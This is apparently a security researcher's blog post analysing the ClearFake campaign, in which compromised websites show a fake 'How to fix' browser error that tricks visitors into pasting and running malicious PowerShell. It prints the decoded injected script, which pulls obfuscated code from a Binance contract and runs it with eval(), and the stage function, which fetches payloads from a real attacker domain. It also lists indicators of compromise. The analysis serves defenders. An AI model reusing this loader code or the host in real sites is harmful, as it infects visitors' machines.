ClearFake started out last year in July 2023 as a fake browser update. Around December it switched to redirecting to various scammy campaigns including VexTrio and seemed to be a bit stagnated with no changes happening. Beginning in March 2024 it has renewed its efforts with several new features.

  • A fake “How to fix” user experience
  • Instead of a download, they convince the user to copy/paste malicious Powershell
  • Very curious delayed 2-10 day go-live for infected websites

How to fix

This new campaign presents a modal dialog that appears to be coming from the browser as if there is a problem that needs fixing.

Aw, Snap! Something went wrong while displaying this webpage. To display this web page correctly, please install
the root certificate.  Click the "Fix it" button and follow the further instructions.

If the How to fix button is clicked, the modal is updated by unhiding some additional text with steps to follow in order to fix the non-existent problem.

If the user clicks Copy, it copies malicious Powershell into the Windows copy buffer. If indeed the user follows the remaining instructions, that malicious Powershell will run as that end user on their workstation. This is a relatively new methodology that has recently been observed in a few other threat chains. Instead of downloading a file and executing it, the user does the work for the threat actor and directly executes malicious code at a Powershell prompt.

Injection

ClearFake does not host its own initial website. Instead, it compromises an existing legitimate website and injects malicious code to make the user believe they landed where they wanted but that the browser needs some attention.

On the surface, the injection on a compromised website has not changed since 2023. It still inserts two <script>...</script> sections. The first to add support for Binance with https://cdn.ethers.io/lib/ethers-5.2.umd.min.js. The second uses <script src="data:text/javascript;base64, to help obscure what happens next. Here is what it looks like from an infected sample from March 8th, 2024. The highlighted part is the injection.

Example injects scripts

When it re-engaged in March 2024, it used the same Javascript as it did in 2023 to fetch the contract for a Binance address. ClearFake did use a few different addresses, otherwise the Javascript was the same.
With this renewed engagement they are using the Binance address 0x34585777843Abb908a1C5FbD6F3f620bC56874AA. Here is what the second <script> section from above looks like after decoding from base64.

async function load() {
    let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
        signer = provider.getSigner(),
        address = "0x34585777843Abb908a1C5FbD6F3f620bC56874AA",
        ABI = [{
            inputs: [{
                internalType: "string",
                name: "_link",
                type: "string"
            }],
            name: "update",
            outputs: [],
            stateMutability: "nonpayable",
            type: "function"
        }, {
            inputs: [],
            name: "get",
            outputs: [{
                internalType: "string",
                name: "",
                type: "string"
            }],
            stateMutability: "view",
            type: "function"
        }, {
            inputs: [],
            name: "link",
            outputs: [{
                internalType: "string",
                name: "",
                type: "string"
            }],
            stateMutability: "view",
            type: "function"
        }],
        contract = new ethers.Contract(address, ABI, provider),
        link = await contract.get();
    eval(atob(link))
}
window.onload = load;

We can see that on window load it gets the Binance contract for the specified address, uses atob() to convert from base64, then simply evaluates the retrieved Javascript.

As of May 1st, 2024 the base64 encoded injection changed. The last few lines introduce an added variable and instead of simply evaluating the converted contract, it evalutes it as a function and then calls that function with added as a parameter.

        contract = new ethers.Contract(address, ABI, provider),
        added = 1714689812,
        link = await contract.get();
    _func = eval(atob(link));
    _func(added);
}
window.onload = load;

Binance Contract

The decoded contract from Binance is an obfuscated Javascript. As noted by ThreatCat, the contract is updated every 10 minutes and appears to be freshly obfuscated code using https://obfuscator.io/. Here is what a recent sample looks like.

Binance response of obfuscated Javascript

Here it is deobfuscated using https://deobfuscate.relative.im/.

;(_0x170704) => {
  {
    let _0xe89694 = new XMLHttpRequest()
    return (
      _0xe89694.open(
        'GET',
        'https://akademipraktik.com/8OtaBr/?added=' + _0x170704,
        false
      ),
      _0xe89694.send(null),
      _0xe89694.responseText
    )
  }
}

We can see that it is an anonymous function that takes one argument and uses it to return the response from the next stage with a query parameter named added.

It turns out that the value for added here is provided by the injected Javascript from the compromised website.

Looking back at the injection we see this.

        added = 1714689812,
        link = await contract.get();
    _func = eval(atob(link));
    _func(added);

_func() is the anonymous function that Binance returned.

So with added equal to 1714689812, the anonymous function will make the XMLHttpRequest() GET to https://akademipraktik.com/8OtaBr/?added=1714689812.

Going Epoch

If you’ve worked with date/time on Unix long enough, then you will have been exposed to one of the primary ways it tracks time. In most cases it does so with a single integer that counts the number of seconds since January 1st, 1970. This integer goes by a few names, one is epoch time.

That added integer looked familar, so after plugging it into https://www.epochconverter.com/ out popped a date/time that was recent.

Value of added converted

Multiple recent samples were reviewed on urlscan.io and it appears that different sites have different added values that would potentially align with when their injection was added. This is not conclusive, but seems a likely possibility.

Here’s an example from May 2nd which shows an added value 1714576381 that converts to Wednesday, May 1, 2024 3:13:01 PM GMT.

Example of urlscan.io transcation

Another example from May 2nd which shows an added value 1714578316 that converts to May 1, 2024 3:45:16 PM GMT.

Example of urlscan.io transcation

Ten days old

When initially analysing this recent iteration of ClearFake, it was not getting past the /8OtaBr/?added= stage. It was returning a 200 OK but with no content. After fiddling with the epoch time being passed in the added parameter it was observed that if the time passed was older than about 2 days, it would return a payload. This was later updated to be around 9 days.

This can be seen by using the $EPOCHSECONDS environment variable available at a linux bash prompt. With that variable we try using curl with yesterday, five days ago, nine days ago then finally ten days ago.

bash prompt with curl commands

Thus it would appear that ClearFake requires an infected site to not trigger and present the fake “How to fix” until some period of time has passed. Currently that threshold is about 9 days.

Stage 2

When the XMLHttpRequest GET to /8OtaBr/?added= does respond, it will be with the following Javascript.

Response from 80taBr

This creates an iframe with a src of the next payload with the path /bvxny6R6.

Fake How to fix

The response from /bvxny6R6 includes HTML/CSS to render the fake error.

Aw, Snap! Something went wrong while displaying this webpage. To display this web page correctly, please install
the root certificate.  Click the "Fix it" button and follow the further instructions.

Also included is Javascript to perform a few tasks. The first of which is to stash a base64 encoded payload into #code for later reference. This will turn out to be Powershell commands.

Base64 Powershell payload

Next it will detect the browser in order to place the browser’s name and logo in the title of the model.

    function detectBrowser()
    {
        let userAgent = navigator.userAgent;
        let browser;
        if(userAgent.indexOf("Firefox") > -1)
        {
            browser = "Mozilla Firefox";
        }
        else if(userAgent.indexOf("Opera") > -1 || userAgent.indexOf("OPR") > -1)
        {
            browser = "Opera";
        }
        else if(userAgent.indexOf("Edge") > -1 || userAgent.indexOf("Edg") > -1)
        {
            browser = "Microsoft Edge";
        }
        else if(userAgent.indexOf("Chrome") > -1)
        {
            browser = "Google Chrome";
        }
        else
        {
            browser = "Google Chrome";
        }
        return(browser);
    }

Ultimately when the user does click on the Copy button it will copy that payload into the Windows copy/paste buffer. Here is what that payload looks like.

Powershell payload

The VBrowser variable looks like this when decoded from base64 and is what the end user will unknownly have run.

VBrowser decoded

For now, I’ll leave analysis of tt for another day.

IOCs

akademipraktik.com
rtattack.baqebei1.online
valentinedaycard.com